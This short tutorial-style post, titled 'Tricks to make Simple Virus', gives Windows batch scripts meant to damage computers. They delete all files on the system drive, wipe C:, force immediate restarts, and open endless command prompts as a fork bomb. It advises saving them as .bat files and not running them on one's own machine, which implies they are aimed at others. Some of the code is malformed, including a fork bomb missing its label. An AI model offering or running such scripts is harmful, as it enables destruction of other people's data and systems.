Tricks to make Simple Virus

There are many Virus which we an develop or can make easily. As I already posted earlier about many Tricks to make Virus, Now here are some more Tricks to make Simple Virus. To make them use the following Trick :
1) Open Notepad
2) Copy and Paste the given below Code of your Choice i.e. type of Virus you want to make :



a) To Delete all the Content of a Drive use this Code :
@echo off 
del %systemdrive%\*.* /f /s /q 
shutdown -r -f -t 00 
b) To Crush the Windows use this Code :
@Echo off 
Del C:\ *.* y 
c) To make Computer Restart simultaneously use this Code :
@echo off shutdown -r -f -t 00
d) To make Fork Virus to open many Command Prompts use this Code :
start
%0
goto :s
3) Now Save these Files with any desired name with .bat extention.
4) Don't Run these Files on Your own Computer otherwise the Result you already know.
So these are simple Tricks to make Simple Virus.